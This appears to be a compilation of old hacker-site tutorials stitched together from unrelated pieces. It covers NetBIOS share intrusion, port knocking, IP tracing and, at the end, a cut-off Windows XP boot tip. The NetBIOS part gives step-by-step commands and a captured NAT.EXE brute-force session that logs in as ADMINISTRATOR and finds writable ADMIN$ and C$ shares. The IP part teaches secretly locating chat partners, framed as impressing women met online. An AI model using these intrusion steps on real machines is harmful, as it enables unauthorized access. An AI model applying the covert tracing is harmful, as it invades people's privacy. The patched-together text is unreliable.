NET BIOS HACKING

So wid the previous section u are well versed with Netbios now lets see a hackers approach n and how easy is for u to be a victim.
This is for an Educational purpose only


NetBIOS Attack Methods

This NetBIOS attack technique was verified on Windows 95, NT 4.0 Workstation, NT 4.0 Server, NT 5.0 beta 1 Workstation, NT 5.0 beta 1 Server, Windows 98 beta 2.1. One of the components being used is NAT.EXEA discussion of the tool, it switches, and common techniques follows:

NAT.EXE [-o filename] [-u userlist] [-p passlist]

Switches:

-o Specify the output file. All results from the scan
will be written to the specified file, in addition
to standard output.
-u Specify the file to read usernames from. Usernames
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Usernames should appear one per line in the speci-
fied file.
-p Specify the file to read passwords from. Passwords
will be read from the specified file when attempt-
ing to guess the password on the remote server.
Passwords should appear one per line in the speci-
fied file.

Addresses should be specified in comma deliminated
format, with no spaces. Valid address specifica-
tions include:
hostname - "hostname" is added
127.0.0.1-127.0.0.3, adds addresses 127.0.0.1
through 127.0.0.3
127.0.0.1-3, adds addresses 127.0.0.1 through
127.0.0.3
127.0.0.1-3,7,10-20, adds addresses 127.0.0.1
through 127.0.0.3, 127.0.0.7, 127.0.0.10 through
127.0.0.20.
hostname,127.0.0.1-3, adds "hostname" and 127.0.0.1
through 127.0.0.1
All combinations of hostnames and address ranges as
specified above are valid.

[8.0.1] Comparing NAT.EXE to Microsoft's own executables

[8.0.2] First, a look at NBTSTAT

First we look at the NBTSTAT command. This command was discussed in earlier portions of the book ( [5.0.6] The Nbtstat Command ). In this section, you will see a demonstration of how this tool is used and how it compares to other Microsoft tools and non Microsoft tools.

What follows is pretty much a step by step guide to using NBTSTAT as well as extra information. Again, if youre interested in more NBSTAT switches and functions, view the [5.0.6] The Nbtstat Command portion of the book.


C:\nbtstat -A XXX.XX.XXX.XX

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
STUDENT1 <20> UNIQUE Registered
STUDENT1 <00> UNIQUE Registered
DOMAIN1 <00> GROUP Registered
DOMAIN1 <1C> GROUP Registered
DOMAIN1 <1B> UNIQUE Registered
STUDENT1 <03> UNIQUE Registered
DOMAIN1 <1E> GROUP Registered
DOMAIN1 <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered

MAC Address = 00-C0-4F-C4-8C-9D

Here is a partial NetBIOS 16th bit listing:

Computername <00> UNIQUE workstation service name
<00> GROUP domain name
Server <20> UNIQUE Server Service name

Computername <03> UNIQUE Registered by the messenger service. This is the computername
to be added to the LMHOSTS file which is not necessary to use
NAT.EXE but is necessary if you would like to view the remote
computer in Network Neighborhood.
Username <03> Registered by the messenger service.
Domainname <1B> Registers the local computer as the master browser for the domain
Domainname <1C> Registers the computer as a domain controller for the domain
(PDC or BDC)
Domainname <1D> Registers the local client as the local segments master browser
for the domain
Domainname <1E> Registers as a Group NetBIOS Name
Network Monitor Name
Network Monitor Agent
<06> RAS Server
<1F> Net DDE
<21> RAS Client

[8.0.3] Intro to the NET commands

The NET command is a command that admins can execute through a dos window to show information about servers, networks, shares, and connections. It also has a number of command options that you can use to add user accounts and groups, change domain settings, and configure shares. In this section, you will learn about these NET commands, and you will also have the outline to a NET command Batch file that can be used as a primitive network security analysis tool. Before we continue on with the techniques, a discussion of the available options will come first:

[8.0.4] Net Accounts: This command shows current settings for password, logon limitations, and domain information. It also contains options for updating the User accounts database and modifying password and logon requirements.

[8.0.5] Net Computer: This adds or deletes computers from a domains database.

[8.0.6] Net Config Server or Net Config Workstation: Displays config info about the server service. When used without specifying Server or Workstation, the command displays a list of configurable services.

[8.0.7] Net Continue: Reactivates an NT service that was suspended by a NET PAUSE command.

[8.0.8] Net File: This command lists the open files on a server and has options for closing shared files and removing file locks.

[8.0.9] Net Group: This displays information about group names and has options you can use to add or modify global groups on servers.

[8.1.0] Net Help: Help with these commands

[8.1.1] Net Helpmsg message#: Get help with a particular net error or function message.

[8.1.2] Net Localgroup: Use this to list local groups on servers. You can also modify those groups.

[8.1.3] Net Name: This command shows the names of computers and users to which messages are sent on the computer.

[8.1.4] Net Pause: Use this command to suspend a certain NT service.

[8.1.5] Net Print: Displays print jobs and shared queues.

[8.1.6] Net Send: Use this command to send messages to other users, computers, or messaging names on the network.

[8.1.7] Net Session: Shows information about current sessions. Also has commands for disconnecting certain sessions.

[8.1.8] Net Share: Use this command to list information about all resources being shared on a computer. This command is also used to create network shares.

[8.1.9] Net Statistics Server or Workstation: Shows the statistics log.

[8.2.0] Net Stop: Stops NT services, cancelling any connections the service is using. Let it be known that stopping one service, may stop other services.

[8.2.1] Net Time: This command is used to display or set the time for a computer or domain.

[8.2.2] Net Use: This displays a list of connected computers and has options for connecting to and disconnecting from shared resources.

[8.2.3] Net User: This command will display a list of user accounts for the computer, and has options for creating a modifying those accounts.

[8.2.4] Net View: This command displays a list of resources being shared on a computer. Including netware servers.

[8.2.5] Special note on DOS and older Windows Machines: The commands listed above are available to Windows NT Servers and Workstation, DOS and older Windows clients have these NET commands available:

Net Config
Net Diag (runs the diagnostic program)
Net Help
Net Init (loads protocol and network adapter drivers.)
Net Logoff
Net Logon
Net Password (changes password)
Net Print
Net Start
Net Stop
Net Time
Net Use
Net Ver (displays the type and version of the network redirector)
Net View

For this section, the command being used is the NET VIEW and NET USE commands.

[8.2.6] Actual NET VIEW and NET USE Screen Captures during a hack.

C:\net view XXX.XX.XXX.XX

Shared resources at XXX.XX.XXX.XX

Share name Type Used as Comment

------------------------------------------------------------------------------
NETLOGON Disk Logon server share
Test Disk
The command completed successfully.

NOTE: The C$ ADMIN$ and IPC$ are hidden and are not shown.


C:\net use /?

The syntax of this command is:

NET USE [devicename | *] [\\computername\sharename[\volume] [password | *]]
[/USER:[domainname\]username]
[[/DELETE] | [/PERSISTENT:{YES | NO}]]

NET USE [devicename | *] [password | *]] [/HOME]

NET USE [/PERSISTENT:{YES | NO}]

C:\net use x: \\XXX.XX.XXX.XX\test

The command completed successfully.

C:\unzipped\nat10bin>net use

New connections will be remembered.

Status Local Remote Network

-------------------------------------------------------------------------------
OK X: \\XXX.XX.XXX.XX\test Microsoft Windows Network
OK \\XXX.XX.XXX.XX\test Microsoft Windows Network

The command completed successfully.

Here is an actual example of how the NAT.EXE program is used. The information listed here is an actual capture of the activity. The IP addresses have been changed to protect, well, us.

C:\nat -o output.txt -u userlist.txt -p passlist.txt XXX.XX.XX.XX-YYY.YY.YYY.YY


[*]--- Reading usernames from userlist.txt
[*]--- Reading passwords from passlist.txt

[*]--- Checking host: XXX.XX.XXX.XX
[*]--- Obtaining list of remote NetBIOS names

[*]--- Attempting to connect with name: *
[*]--- Unable to connect

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to connect with protocol: MICROSOFT NETWORKS 1.03
[*]--- Server time is Mon Dec 01 07:44:34 1997
[*]--- Timezone is UTC-6.0
[*]--- Remote server wants us to encrypt, telling it not to

[*]--- Attempting to connect with name: *SMBSERVER
[*]--- CONNECTED with name: *SMBSERVER
[*]--- Attempting to establish session
[*]--- Was not able to establish session with no password
[*]--- Attempting to connect with Username: `ADMINISTRATOR' Password: `password'
[*]--- CONNECTED: Username: `ADMINISTRATOR' Password: `password'

[*]--- Obtained server information:

Server=[STUDENT1] User=[] Workgroup=[DOMAIN1] Domain=[]

[*]--- Obtained listing of shares:

Sharename Type Comment
--------- ---- -------
ADMIN$ Disk: Remote Admin
C$ Disk: Default share
IPC$ IPC: Remote IPC
NETLOGON Disk: Logon server share
Test Disk:

[*]--- This machine has a browse list:

Server Comment
--------- -------
STUDENT1


[*]--- Attempting to access share: \\*SMBSERVER\
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Able to access share: \\*SMBSERVER\ADMIN$
[*]--- Checking write access in: \\*SMBSERVER\ADMIN$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\ADMIN$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\ADMIN$

[*]--- Attempting to access share: \\*SMBSERVER\C$
[*]--- WARNING: Able to access share: \\*SMBSERVER\C$
[*]--- Checking write access in: \\*SMBSERVER\C$
[*]--- WARNING: Directory is writeable: \\*SMBSERVER\C$
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\C$

[*]--- Attempting to access share: \\*SMBSERVER\NETLOGON
[*]--- WARNING: Able to access share: \\*SMBSERVER\NETLOGON
[*]--- Checking write access in: \\*SMBSERVER\NETLOGON
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\NETLOGON

[*]--- Attempting to access share: \\*SMBSERVER\Test
[*]--- WARNING: Able to access share: \\*SMBSERVER\Test
[*]--- Checking write access in: \\*SMBSERVER\Test
[*]--- Attempting to exercise .. bug on: \\*SMBSERVER\Test

[*]--- Attempting to access share: \\*SMBSERVER\D$
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\ROOT
[*]--- Unable to access

[*]--- Attempting to access share: \\*SMBSERVER\WINNT$
[*]--- Unable to access

If the default share of Everyone/Full Control is active, then you are done, the server is hacked. If not, keep playing. You will be surprised what you find out.

PORT KNOCKING

In computing, port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of prespecified closed ports. Once a correct sequence of connection attempts is received the firewall rules are dynamically modified to allow the host which sent the connection attempts to connect over specified port(s).


This is usually implemented by configuring a daemon to watch the firewall log file for said connection attempts then modify the firewall configuration accordingly. It can also be performed by a process examining packets at a higher level (using packet capture interfaces such as Pcap), allowing the use of already "open" TCP ports to be used within the knock sequence. Port knocking is most often used to determine access to port 22, the Secure Shell (SSH) port. The port "knock" itself is similar to a secret handshake and can consist of any number of TCP, UDP or even sometimes ICMP and other protocol packets to numbered ports on the destination machine. The complexity of the knock can be anything from a simple ordered list (e.g. TCP port 1000, TCP port 2000, UDP port 3000) to a complex time-dependent, source-IP-based and other-factor-based encrypted hash.


A port knock setup takes next to no resources and very simple software to implement. A portknock daemon on the firewall machine listens for packets on certain ports (either via the firewall log or by packet capture). The client user would carry an extra utility, which could be as simple as netcat or a modified ping program or as complicated as a full hash-generator, and use that before they attempted to connect to the machine in the usual way.

Most portknocks are stateful systems in that if the first part of the "knock" has been received successfully, an incorrect second part would not allow the remote user to continue and, indeed, would give the remote user no clue as to how far through the sequence they failed. Usually the only indication of failure is that, at the end of the knock sequence, the port expected to be open is not opened. No packets are sent to the remote user at any time.
While this technique for securing access to remote network daemons has not yet been widely adopted by the security community, it has been integrated in newer rootkits.

Step 3
Enlarge
Step 3
Step 4
Enlarge
Step 4

How Port knocking works in theory


Step 1 (A) Client cannot connect to application listening on port n; (B) Client cannot establish connection to any port.

Step 2 (1,2,3,4) Client tries to connect to a well-defined set of ports in sequence by sending certain packets; Client has prior knowledge of the port knocking daemon and its configuration, but receives no acknowledgement during this phase because firewall rules preclude any response.

Step 3 (A) Server process (a port knocking daemon) intercepts connection attempts and interprets (decrypts and decodes) them as comprising an authentic "port knock"; server carries out specific task based on content of port knock, such as opening port n to the client.

Step 4 (A) Client connects to port n and authenticates using application’s regular mechanism.


Benefits of port knocking



Consider that, if an external attacker did not know the port knock sequence, even the simplest of sequences would require a massive brute force effort in order to be discovered. A three-knock simple TCP sequence (e.g. port 1000, 2000, 3000) would require an attacker without prior knowledge of the sequence to test every combination of three ports in the range 1-65535, and then to scan each port in between to see if anything had opened. As a stateful system, the port would not open until after the correct three-digit sequence had been received in order, without other packets in between.

That equates to approximately 655354 packets in order to obtain and detect a single successful opening. That's approximately 18,445,618,199,572,250,625 or 18 million million million packets. On the average attempt it would take approximately 9 million million million packets to successfully open a single, simple three-port TCP-only knock by brute force. This is made even more impractical when knock attempt-limiting is used to stop brute force attacks, longer and more complex sequences are used and cryptographic hashes are used as part of the knock.

When a port knock is successfully used to open a port, the firewall rules are generally only opened to the IP address that supplied the correct knock. This is similar to only allowing a certain IP whitelist to access a service but is also more dynamic. An authorised user situated anywhere in the world would be able to open the port he is interested in to only the IP that he is using without needing help from the server administrator. He would also be able to "close" the port once he had finished, or the system could be set up to use a timeout mechanism, to ensure that once he changes IP's, only the IP's necessary are left able to contact the server. Because of port knocking's stateful behaviour, several users from different source IP addresses can simultaneously be at varying levels of the port knock. Thus it is possible to have a genuine user with the correct knock let through the firewall even in the middle of a port attack from multiple IP's (assuming the bandwidth of the firewall is not completely swamped). To all other IP addresses, the ports still appear closed and there is no indication that there are other users who have successfully opened ports and are using them.

Using cryptographic hashes inside the port knock sequence can mean that even sniffing the network traffic in and out of the source and target machines is ineffective against discovering the port knock sequence or using traffic replay attacks to repeat prior port knock sequences. Even if somebody did manage to guess, steal or sniff the port knock and successfully use it to gain access to a port, the usual port security mechanisms are still in place, along with whatever service authentication was running on the opened ports.

The software required, either at the server or client end, is minimal and can in fact be implemented as simply as a shell script for the server or a Windows batch file and a standard Windows command line utility for the client. Overhead in terms of traffic, CPU and memory consumption is at an absolute minimum. Port knock daemons also tend to be so simple that any sort of vulnerability is obvious and the code is very easily auditable. With a portknock system in place on ports such as the SSH port, it can prevent brute force password attacks on logins. The SSH daemon need not even wake up as any attempt that is made without the correct portknock will bounce harmlessly off the TCP/IP stack rather than the SSH authentication. As far as any attacker is concerned, there is no daemon running on that port at all until he manages to correctly knock on the port. The system is completely customisable and not limited to opening specific ports or, indeed, opening ports at all. Usually a knock sequence description is tied with an action, such as running a shell script, so when a specific sequence is detected by the port knock daemon, the relevant shell script is run. This could add firewall rules to open ports or do anything else that was possible in a shell script. Many portknocks can be used on a single machine to perform many different actions, such as opening or closing different ports.

Due to the fact that the ports appear closed at all times until a user knowing the correct knock uses it, port knocking can help cut down not only on brute force password attacks and their associated log spam but also protocol vulnerability exploits. If an exploit was discovered that could compromise SSH daemons in their default configuration, having a port knock on that SSH port could mean that the SSH daemon may not be compromised in the time before it was updated. Only authorised users would have the knock and therefore only authorised users would be able to contact the SSH server in any way. Thus, random attempts on SSH servers by worms and viruses trying to exploit the vulnerability would not reach the vulnerable SSH server at all, giving the administrator a chance to update or patch the software. Although not a complete protection, port knocking would certainly be another level of defense against random attacks and, properly implemented, could even stop determined, targeted attacks.

Port knocking generally has some disregard in the security world, given that early implementations basically consisted of a number of ports that had to be hit in order. However, the best of modern portknock systems are much more complex, some using highly secure cryptographic hashes in order to defeat the most common attacks (such as packet sniffing and packet replay). Additionally, portknock systems can include blacklists, whitelists and dynamic attack responses as can any internet service, however, even the simplest of port knocks controls access to a system before attackers are able to hit a service that allocates memory, CPU time or other significant resources and also acts as a barrier against brute-force attempts, automated vulnerability exploits, etc. Also, port knocking does not generally lower the security of a system overall. Indeed, it provides another layer of security for minimal overhead. In a worst case scenario however, the port knocking software introduced a new security problem or lowers security due to risk compensation.


i liked to share this information its really Knowledgeable

IP Hacking

In here I have figure out some very easy but cool ways to trace out the geographical location and various other infos like ISP details etc of a remote computer using its IP.

Well I guess its one of the most important must learn manul for boys out there if you want to impress your friends particularly gals whom you’ll meet online in a chat room and tell them their geographical locations and ISP details and make them surprised and impressed .

In the practical execution of this manual you don’t have to work much as it is very simple only you have to use your brain to understand some symbols and some format of expressions and use your IQ to execute things the right way.



What is IP and how to get the IP of a remote system::



Getting the IP or Internet Protocol of a remote system is the most important and the first step of hacking into it. Probably it is the first thing a hacker do to get info for researching on a system. Well IP is a unique number assigned to each computer on a network. It is this unique address which represents the system on the network. Generally the IP of a particular system changes each time you log on to the network by dialing to your ISP and it is assigned to you by your ISP. IP of a system which is always on the network remains generally the same. Generally those kind of systems are most likely to suffer a hacking attack because of its stable IP. Using IP you can even execute system commands on the victim’s computer.

Lets take the example of the following IP address: 202.144.49.110 Now the first part, the numbers before the first decimal i.e. 209 is the Network number or the Network Prefix.. This means that it identifies the number of the network in which the host is. The second part i.e. 144 is the Host Number that is it identifies the number of the host within the Network. This means that in the same Network, the network number is same. In order to provide flexibility in the size of the Network, here are different classes of IP addresses:



Address Class Dotted Decimal Notation Ranges

Class A ( /8 Prefixes) 1.xxx.xxx.xxx through 126.xxx.xxx.xxx

Class B ( /16 Prefixes) 128.0.xxx.xxx through 191.255.xxx.xxx

Class C ( /24 Prefixes) 192.0.0.xxx through 223.255.255.xxx



The various classes will be clearer after reading the next few lines.



Each Class A Network Address contains a 8 bit Network Prefix followed by a 24-bit host number. They are considered to be primitive. They are referred to as "/8''s" or just "8's" as they have an 8-bit Network prefix.

In a Class B Network Address there is a 16 bit Network Prefix followed by a 16-bit Host number. It is referred to as "16's".



A class C Network address contains a 24-bit Network Prefix and a 8 bit Host number. It is referred to as

"24's" and is commonly used by most ISP's.



Due to the growing size of the Internet the Network Administrators faced many problems. The Internet routing tables were beginning to grow and now the administrators had to request another network number from the Internet before a new network could be installed at their site. This is where sub-netting came in.



Now if your ISP is a big one and if it provides you with dynamic IP addresses then you will most probably see that whenever you log on to the net, your IP address will have the same first 24 bits and only the last 8 bits will keep changing. This is due to the fact that when sub-netting comes in then the IP Addresses structure becomes:



xxx.xxx.zzz.yyy



where the first 2 parts are Network Prefix numbers and the zzz is the Subnet number and the yyy is the host number. So you are always connected to the same Subnet within the same Network. As a result the first 3 parts will remain the same and only the last part i.e. yyy is variable.

***********************



For Example, if say an ISP xyz is given the IP: 203.98.12.xx Network address then you can be awarded any IP, whose first three fields are 203.98.12. Get it?



So, basically this means that each ISP has a particular range in which to allocate all its subscribers. Or in other words, all subscribers or all people connected to the internet using the same ISP, will have to be in this range. This in effect would mean that all people using the same ISP are likely to have the same first three fields of their IP Addresses.



This means that if you have done a lot of (By this I really mean a lot) of research, then you could figure out which ISP a person is using by simply looking at his IP. The ISP name could then be used to figure out the city and the country of the person. Right? Let me take an example to stress as to how cumbersome but easy (once the research is done) the above method can be.



In my country, say there are three main ISP’s:



ISP Name Network Address Allotted



ISP I 203.94.47.xx

ISP II 202.92.12.xx

ISP III 203.91.35.xx



Now, if I get to know the IP of an e-pal of mine, and it reads: 203.91.35.12, then I can pretty easily figure out that he uses ISP III to connect to the internet. Right? You might say that any idiot would be able to do this. Well, yes and no. You see, the above method of finding out the ISP of a person was successful only because we already had the ISP and Network Address Allotted list with us. So, what my point is, that the above method can be successful only after a lot of research and experimentation. And, I do think such research can be helpful sometimes.



Also, this would not work, if you take it all on in larger scale. What if the IP that you have belongs to someone living in a remote igloo in the North Pole? You could not possibly get the Network Addresses of all the ISP’s in the world, could you? If yes please send it to me J.



Well now I guess you have pretty good knowledge about what an IP is and what you can do by knowing the IP of a remote system. Now lets come to the point of finding out the IP of remote system.

Well you can easily figure out the IP of a remote system using the netstat utility available in the microsoft’s version of DOS. The netstat command shows the connections in which your system is engaged to and the ports they are using. Suppose you are checking your mail in hotmail and you want to find out the IP of msn. All you need to do is to open a dos window (command.com) and type netstat. You will see all the open connections of your system. There you will see something :



Proto Local Address Foreign Address State

TCP abhisek:1031 64.4.xx.xx:80 ESTABLISHED



Now you got the IP address of hotmail ass 64.4.xx.xx .

Similarly you can figure out the IP address of most http or ftp connections.



To know your own IP type the following command in a dos windows

C:\netstat –n

[this commands converts the IP name into IP addresses]

this is what you will probably see on typing the above command :



Proto Local Address Foreign Address State

TCP 203.xx.251.161:1031 194.1.129.227:21 ESTABLISHED

TCP 203.xx.251.161:1043 207.138.41.181:80 FIN_WAIT_2

TCP 203.xx.251.161:1053 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1058 194.1.129.227:20 TIME_WAIT

TCP 203.xx.251.161:1069 203.94.243.71:110 TIME_WAIT

TCP 203.xx.251.161:1071 194.98.93.244:80 ESTABLISHED

TCP 203.xx.251.161:1078 203.94.243.71:110 TIME_WAIT



Here 203.xx.251.161 is your IP address.



Now lets clarify the format used by netstat :



Proto : It shows the type of protocol the connection with the remote system is using.

Here TCP (transmission control protocol) is the protocol used by my system to connect to other systems.



Local Address : It shows the local address ie the local IP. When the netstat command is executed without –n switch then the name of the local system is displayed and when the netstat is executed with –n switch then the IP of the local system is displayed. Here you can also find out the port used by the connection.

xxx.yyy.zzz.aaa:1024

in this format you will see the local address. Here 1024 is the port to which the remote system is connected in your system



Foreign Address :: It shows the IP address of the remote system to which your system is connected. In this case also if the netstat command is excuted with –n switch then you directly get the IP of the victim but if the netstat is executed without –n switch then you will get the address of the remote system. Something like



C:\netstat

Proto Local Address Foreign Address State

TCP abhisek:1031 msgr.lw4.gs681.hotmail.com:80 ESTABLISHED



Here msgr.lw4.gs681.hotmail.com is the address of the foreign system . putting this address in any IP lookup program and doing a whois lookup will reveal the IP of the remote system.



Note: The port to which your system is connected can be found from this in the same way as I have shown in the case of local address. The difference is that, this is the port of the remote system to which your computer is connected to.

Below I have produced a list of ports and popular services generally found to be running.

21 :: FTP port

80 :: http port

23 :: Telnet port



Note: If your execute the netstat command and find ports like 12345,27374 are open and are in use then make it sure that your sweat heart computer is infected with her boyfriend.. J J J J I mean your computer is infected with some sort of Trojan.

Below I have produced a list of commonly known Trojans and the ports they use by default. So if you find these ports open then get a good virus buster and get these stupid servers of the Trojans kicked out. Well if you want to play with these Trojan by keeping them in your computer but not letting them ruin your system performance then just disble it from the system registry run and they wont be loaded to memory each time when windows starts up[This trick doesn’t work for all Trojans].



Netbus :: 12345(TCP)

Subseven :: 27374(TCP)

Girl Friend :: 21554(TCP)

Back Oriface :: 31337 (UDP)



Well guys and gals I hope you are now well familiar with the term IP and what is the utility of IP in cyber world and how to get the IP of a remote system to which you are connected. I hope you find my writings very easy to undertstand. I know I lack the capacity of explaining myself but I try my level best to make things very easy and clear for you’ll.



How to get the IP of a remote system while chatting through msn messenger ::



This is a tutorial on how to get IP address from MSN messenger. This is actually
a really easy thing to do. It is not like going through the hard time and reversing
MSN messenger like many people think.

The IP address is only given when you accept or are sending a file through MSN
messenger. When you send IM's, the message is sent through the server thus hiding
your victims IP and your. But when you send a file or recieve a file, it is direct
connection between the two computers.

To obtain the IP accept a file transfer or send a file to the victim, when the file
sending is under way from the dos prompt type "netstat" without the quotation marks.
You should get a table like this:

Proto Local Address Foreign Address State
TCP kick:1033 msgr-ns29.msgr.hotmail.com:1863 ESTABLISHED
TCP kick:1040 msgr-sb36.msgr.hotmail.com:1863 ESTABLISHED
TCP kick: ESTABLISHED

The top name in the list is the server's address for IMing. There could be many of
the second name in the list, as a new connection is made to the server for every
room you are IMing to. You are looking for the address of the remote host in
this table it may be something similar to "host63-7-102-226.ppp.cal.vsnl.com" or “203..64.90.6”.
without the quotation marks.
All you need to do now is to put this address in you IP lookup programe and get the IP of the remote system.


Well 50%of the work is done now. Now you know how to get the IP of a remote system, so its time to trace it down and find some details about the IP.



Tracing an IP is quite simple. You can do it the easy way by using some sweet softwares like Visual Trace 6.0b

[ftp://ftp.visualware.com/pub/vr/vr.exe]

Neotrace

[http://www.neoworx.com/download/NTX325.exe]

or by our way ie. Using MS DOS or any other version of DOS.

Well I suggest you to use DOS and its tracert tool for tracing the IP cause using it will give you a clear conception about the art of tracing an IP and I guarantee that you will feel much satisfied on success than using a silly software. Furthur you will know how things work and how the IP is traced down and the different networks associated in this tracing process.



Let us take a look at tracert tool provided for DOS by Microsoft.

It is a very handy tool for peoples need to trace down an IP.

Just open any DOS windows and type tracert.



C:\windows>tracert



Usage: tracert [-d] [-h maximum_hops] [-j host-list] [-w timeout] target_name


Options:

-d Do not resolve addresses to hostnames.

-h maximum_hops Maximum number of hops to search for target.

-j host-list Loose source route along host-list.

-w timeout Wait timeout milliseconds for each reply.


You will now see a description of the tracert command and the switches associated with it.

Well these switches doesn’t makes much difference. All you can do is to increase the timeout in milliseconds by using –w switch if you are using a slow connection and the –d switch if you wish not resolve address to hostnames by default.

By default tracert performs a maximum of 30 hops trace. Using the –h switch you can specify the number of hops to perform.

Now its time for execution.

Let us trace down the IP yahoo.com [216.115.108.243]



TIP: If you have done a long research (I mean a lot) then simply looking at the IP you can figure out some info from it. For example the IP 203.90.68.8 indicates that the system is in India. In India IPs generally begin with 203 and 202



C:\WINDOWS>tracert yahoo.com



Tracing route to yahoo.com [216.115.108.243] over a maximum of 30 hops:



1 308 ms 142 ms 127 ms 203.94.246.35

2 140 ms 135 ms * 203.94.246.1

3 213 ms 134 ms 132 ms 203.94.255.33

4 134 ms 130 ms 129 ms 203.200.64.29

5 122 ms 135 ms 131 ms 203.200.87.75

6 141 ms 137 ms 121 ms 203.200.87.15

7 143 ms 170 ms 154 ms vsb-delhi-stm1.Bbone.vsnl.net.in [202.54.2.241]

8 565 ms 589 ms 568 ms if-7-0.bb8.NewYork.Teleglobe.net [207.45.198.65]

9 596 ms 584 ms 600 ms if-3-0.core2.NewYork.teleglobe.net [207.45.221.66]

10 * * * Request timed out.

11 703 ms 701 ms 719 ms if-3-0.core2.PaloAlto.Teleglobe.net [64.86.83.205]

12 694 ms 683 ms 681 ms if-6-1.core1.PaloAlto.Teleglobe.net [207.45.202.33]

13 656 ms 677 ms 700 ms ix-5-0.core1.PaloAlto.Teleglobe.net [207.45.196.90]

14 667 ms 673 ms 673 ms ge-1-3-0.msr1.pao.yahoo.com [216.115.100.150]

15 653 ms 673 ms 673 ms vl20.bas1.snv.yahoo.com [216.115.100.225]

16 666 ms 676 ms 674 ms yahoo.com [216.115.108.243]

Trace complete.



Note: Here I have traced yahoo.com. In place of yahoo.com you can give the IP of yahoo or any other IP you want to trace, the result will be the same.



Now carefully looking at the results you can figure out many information about yahoo’s server [216.115.108.243]

First packets of data leave my ISP which is at 203.94.246.35 .Similarly you can find out the different routers through which the packets of data are send and received to and from the target system. Now take a look at the 13th line you’ll see that the router is in PaloAlto.Teleglobe.net from this you can easily figure out that the router is in Palo Alto. Now finally look at the target system ie. Yahoo’s server vl20.bas1.snv.yahoo.com . Now you got the address of yahoo’s server. Now put this address in any IP lookup programe and perform and reverse DNS lookup and you will get most of the info about this address,like the place where it is in.

Well another thing you can find out using the tracert tool is that the number of hops (routers) the target system is away from you. In case of tracerouting yahoo.com we find that the target system ie yahoo’s server is 16 hops away from my system. This indicates that there are 16 routers between my system and yahoo’s server.



Apart from tracing an IP you can find out many usefull details about the target system using the tracert tool.



Firewall Detection



While tracerouting a target system, if you get * as an output then it indicates timeout error. Now if you peform another tracerout to the same taeget system at some other time with a good connection and in this way few times more and if you always get * as the output then take it for sure that the target system is running a firewall which prevents sending of data packets from the target system.



Example



Some days ago I tried to tracert hotmail’s server in plain and simple way using tracert without any trick.This is what I found out :




c:\windows>tracert 64.4.53.7



Tracing route to lc2.law5.hotmail.com [64.4.53.7]


over a maximum of 30 hops:






1 * * * Request timed out.

2 161 ms 147 ms 85 ms 203.90.69.81

3 126 ms 261 ms 219 ms 203.90.66.9

4 121 ms 115 ms 228 ms delswp2.hclinfinet.com [203.90.66.133]

5 727 ms 725 ms 711 ms 203-195-147-250.now-india.net.in [203.195.147.250]

6 1006 ms 794 ms 952 ms core-fae-0-0.now-india.net.in [203.195.147.3]

7 826 ms 731 ms 819 ms 213.232.106.9

8 885 ms 744 ms 930 ms 213.166.3.209

9 851 ms 1020 ms 1080 ms 213.232.64.54

10 1448 ms 765 ms 1114 ms pos8-0.core2.London1.Level3.net [212.113.0.118]

11 748 ms 789 ms 750 ms ge-4-2-1.mp2.London1.Level3.net [212.187.131.146]

12 719 ms 733 ms 846 ms so-3-0-0.mp1.London2.Level3.net [212.187.128.46]

13 775 ms 890 ms 829 ms so-1-0-0.mp2.Weehawken1.Level3.net [212.187.128.138]

14 853 ms 852 ms 823 ms so-3-0-0.mp1.SanJose1.Level3.net [64.159.1.129]

15 889 ms 816 ms 803 ms so-7-0-0.gar1.SanJose1.Level3.net [64.159.1.74]

16 * * * Request timed out.

17 * * * Request timed out.

18 * * * Request timed out.

19 * * * Request timed out.

20 * * * Request timed out.

21 * * * Request timed out.

22 * * * Request timed out.

23 * * * Request timed out.

24 * * * Request timed out.

25 * * * Request timed out.

26 * * * Request timed out.

27 * * * Request timed out.

28 * * * Request timed out.

29 * * * Request timed out.

30 * * * Request timed out.

Trace complete.


I performed the same tracert many times a day but concluded with the same result. This indicates that the systems after the router SanJose1.Level3.net has firewalls installed which prevents the outgoing of data packets.



Detecting Traceroute Attempts on your System



You can detect that an attacker is performing a traceroute on your system, if you see the following symptoms:



1. If you observe port scans on very high UDP ports. This symptom means that the attacker has performed a traceroute on your system. However, it could also mean a simply port scan. Either way, it signifies the fact that your system is being scanned.



2. If the packet-monitoring tool installed in your network, picks up several outgoing TTL-exceeding messages, then it is yet another sign that someone is doing a traceroute on your system.



3. If in these log files, you also observer an outgoing ICMP port unreachable error message, then it means that since a traceroute was done on your system and as the target system i.e. your system, was reached, it responded with this error message.



You can also find our more information on the attacker (if he performs a traceroute on your system) by simply studying the sniffer log files. If you observer the TTL values, then we can easily figure out the following information on the attacker by making use of OS detection techniques discussed earlier in this white paper:


The Operating System running on the attacker’s target system.
Number of hops away, the attacker is from you.



OKI DOKI that’s all for this article. Hope you will find this article very easy to understand and implement.



http://hackersclub.focusindia.com

Speed up xp boot time by 70 %

run -> msconfig - Hit Enter

Awesome tricks Explained here for u Free! : Rahul Dutt Avasthy




Whenever you start your computer, you are faced with a few moments of thumb twiddling while Windows XP boots and prompts you to log on. Although you should expect to wait for a few moments, sometimes Windows XP seems to boot rather slowly. In fact, you may notice that over a period of time the PC that used to roar to life seems a bit sluggish instead. Fortunately, you can perform several techniques that help Windows XP get the bootup speed you want. This Article explores how to put these techniques to work.


Stopping Unneeded Startup Services !


Along with the core operating system and programs that Windows XP runs when it starts, there is also a host of services involved. Many of these services are necessary for Windows XP to operate correctly. However, many of them are for features in Windows XP that you may not use at all. You can peruse the services and disable any service that you do not want to run. The fewer services that run, the more quickly Windows XP will boot.

Caution:

Exercise caution when stopping services. If you do not know what a service does or are unsure of the ramifications of stopping the service, leave it alone. Some services are critical to Windows XP's operations, so make sure you understand what the service is before you disable it.


